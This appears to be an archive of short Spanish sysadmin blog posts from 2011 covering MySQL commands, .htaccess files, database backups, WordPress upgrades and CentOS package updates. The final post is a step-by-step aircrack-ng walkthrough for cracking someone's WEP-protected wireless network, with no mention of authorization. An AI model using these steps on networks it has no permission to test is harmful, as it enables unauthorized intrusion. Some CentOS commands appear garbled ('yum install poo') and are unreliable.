• MySql 20.09.2011 Sin Comentarios

    Sentencias MySQL, Comandos MySQL

     

    Ver BDs en el servidor –> SHOW DATABASES;

    Crear BD –> CREATE DATABASE “nombre_de_la_BD”;

    Seleccionar BD –> USE “nombre_de_la_BD”;

    Ver Tablas –> SHOW TABLES;

    Crear Tabla –> CREATE TABLE “nombre_de_la_tabla” (atributos);

    Ej. CREATE TABLE pet (name VARCHAR(20), owner VARCHAR(20), species VARCHAR(20), sex CHAR(1), birth DATE);

    Ver Atributos de una tabla –> DESCRIBE “nombre_de_la_tabla”;

    Añadir Registros a una tabla –> INSERT INTO “nombre_de_la_tabla” VALUES ();

    Cargar Registros desde un fichero –> LOAD DATA LOCAL INFILE “path/fichero.txt” INTO TABLE “nombre_de_la_tabla”;

    Tags: , ,

  • htaccess para cambiar enlaces permanentes de WordPress

    Cuando se quiere cambiar el formato de las url de una pagina WordPress hace falta que en la raiz del sitio web exista un fichero llamado .htaccess.  Este fichero se puede crear mediante el Bloc de Notas y llamarlo .htaccess.txt, pegaremos el contenido que WordPress nos indique y procederemos a subir el fichero al directorio raiz del sitio web.  Una vez subido el fichero tan solo tenemos que renombrarlo para poder eliminar la extension .txt que incluye el Bloc de Notas en la cracion de nuevos documentos de texto.

    ¿Qué es un fichero .htaccess?

    Un fichero .htaccess es un simple fichero de texto. Permite modificar el comportamiento del servidor de web creando configuraciones especificas para su dominio. Algunos de los usos más frecuentes son la protección de directorios, páginas personalizadas de error, etc.

    ¿Dónde debo guardar el fichero .htaccess?

    Puede guardarse en el directorio principal de su sitio web o en subdirectorios. Si coloca un .htaccess en el directorio principal este afectará a toda la estructura de subdirectorios de su web.

    ¿Cómo puedo crear un fichero .htaccess?

    Para crear un fichero .htaccess no necesitas nada especial, únicamente un editor de textos, como por ejemplo el Notepad de Windows.

    Ahora que ya sabemos como crear el fichero, observarás que este fichero no dispone de un nombre convencional. Si tienes algún problema relacionado con el nombre, puedes guardarlo de la siguiente manera …

    “htaccess.txt”

    Una vez guardado, sube el fichero al servidor, y renombra el fichero utilizando el cliente FTP.

    Recuerda que el nombre de debe tener este fichero en el servidor es, .htaccess

    ¿.htaccess requiere algún permiso especial?

    No necesariamente, pero se recomienda para mayor seguridad asignarle los siguientes permisos:

    644 ó (RW- R– R–)

    Para asignar los permisos, puedes utilizar un cliente FTP estándar.

    Tags: , ,

  • MySql 11.09.2011 Sin Comentarios

    Backup Base de Datos MySql

    Este articulo muestra los pasos para realizar una copia de seguridad o backup de una Base de Datos MySql.  He decidido tomar como ejemplo el proceso para realizar una copia de seguridad de la Base de Datos de una pagina de WordPress.

    Una Base de Datos de una pagina de WordPress contiene:

    • Núcleo de la instalación de WordPress
    • Plugins
    • Temas
    • Imágenes y archivos
    • Javascripts, scripts en PHP y otros archivos de código
    • Archivos adicionales y páginas web estáticas

    La copia de seguridad de la Base de Datos la realizaremos desde phpMyAdmin. phpMyAdmin es uno de los sistemas de manejo de Bases de Datos más populares y se encuentra en la mayoría de alojamientos web.

    Lo primero es seleccionar la Base de Datos de la cual queremos generar la copia de seguridad mediante phpMyAdmin:

    realizar copia de seguridad de una base de datos MySql con phpMyAdmin

    Seleccionamos la Base de Datos que creamos durante la instalacion de WordPress:

    realizar copia de seguridad de una base de datos MySql con phpMyAdmin

    Elegimos la opcion de exportar la Base de Datos y se muestran las tablas que la componen:

    realizar copia de seguridad de una base de datos MySql con phpMyAdmin

    Las opciones de la configuracion de la exportacion deben ser las siguientes:

    realizar copia de seguridad de una base de datos MySql con phpMyAdmin

    Una vez le damos a “Go”, el asistente te indicara que eligas un directorio en tu maquina local en el cual quieres almacenar la copia de seguridad.  Cuando la copia de seguridad finalice tendras un archivo con extension .sql que contendra la copia de seguridad.  Guarda este archivo en un lugar seguro por si alguna vez necesitas restaurar la Base de Datos.

    Tags: , , ,

  • actualizar wordpress a la ultima version

    Nota: Antes de proceder a actualizar WordPress es conveniente realizar una copia de seguridad de la BD donde estan los posts, categorias, etc..

    Para actualizar WorpPress a la ultima version debes seguir los siguientes 4 pasos:
    1. Desacargas la ultima version disponible de WordPress a tu ordenador y la descomprimes.

    2.Desactivas los plugins instalados en tu WordPress actual.

    3.Te conectas por ftp al servidor que quieres actualizar, subes todo el contenido de la nueva version al servidor.  Se sobrescriben todos los directorios menos el de wp-content.

    4.Visita la página : http://tublog.com/wp-admin/upgrade.php para actualizar la base de datos.

    Tags: , ,

  • CentOS 06.09.2011 1 Comentario

    Actualizar Apache, PHP y MySql en CenOs 5.5

    Muchos de los servidores virtuales o dedicados de las compañias de hosting traen la distribucion CentOS de Linux como sistema operativo. Es habitual que las versiones de Apache, PHP y MySql esten desactualizadas al contratar el servidor o que se requiera la actualizacion a nuevas versiones a medida que estas van saliendo.

    He encontrado un repositorio que contiene todos los paquetes necesarios para poder proceder a actualizar dichos servicios a las ultimas versiones existentes, dicho repositorio se denomina PowerStack.

    Instalacion del repositorio PowerStack

    Descargamos el repositorio mediante el siguiente comando:

    rpm -Uvh http://download.powerstack.org/powerstack-release-0-1.noarch.rpm

    Instalamos el repositorio en nuestro servidor para poder actualizar los paquetes previamente comentados:

    yum install poo

    Actualizacion de Apache a la ultima version en CentOs 5.5

    Mediante el siguiente comando:
    yum -y update php

    Actualizacion de PHP a la ultima version en CentOs 5.5

    Mediante el siguiente comando:
    yum -y update php

    Luego es necesario editar el archivo /etc/php.ini, modificamos la siguiente linea:

    date.timezone = “Europe/Madrid”

    Nota: al realizar dicha actualizacion me surgieron fallos!!, opte por actualizar primero MySql y despues actualize el PHP exitosamente.

    Actualizacion de MySql a la ultima version en CentOs 5.5

    Mediante el siguiente comando:
    yum -y update mysql

    Una vez actualizados todos los paquetes tuve que reiniciar los servicios httpd y mysql ya que todas las paginas hechas en WordPress me arrojaban el siguiente error al intentar acceder a traves del navegador “Parece que tu instalación de PHP no cuenta con la extensión de MySQL, necesaria para hacer funcionar WordPress.“.

    Se puede verificar las versiones de los servicios corriendo en un servidor mediante los siguientes comandos:

    httpd -v ; mysql -u root-p -e status|grep ‘MySQL Version’; php -i|grep ‘PHP Version’

    Tags: , ,

  • back track 5

     

     

     

     

     

     

     

     

    Los pasos para crackear una red inalambrica con cifrado WEP con la distribucion de Linux denominada BackTrack 5 son los siguientes:

    airmon-ng start wlan0

    airodump-ng mon0

    airodump-ng -w “nombre_de_la_red_ a_crackear” –bssid “MAC_router_a_crackear” — channel “canal_red_a_crackear”  mon0

    Abrimos otra shell para poder lanzar los siguientes comandos:

    aireplay-ng -1 -a “MAC_router_a_crackear” -h “MAC_nuestra_tarjeta_de_red” -e “nombre_de_la_red_a_crackear” mon0 –> asociacion falsa

    aireplay-ng -3 -b “MAC_router_a_crackear” -h “MAC_nuestra_tarjeta_de_red” mon0 –> inyeccion de paquetes

    Llegados a este punto es conveniente desde otro PC intentar conectar a la red a crackear y meter la contraseña 1122334455 para que empiezen a subir los #data.

    Cuando los #data llegan a 40 000 ya se puede crackear la red mediante el siguiente comando:

    aircrack -ng fichero.cap (El nombre del fichero suele ser el nombre de la red seguido de -01.cap)

     

    Esta informacion a sido proporcionada por Jairo, para mas informacion sobre el autor consultar http://www.jairoespinosa.net/

    Tags: , , ,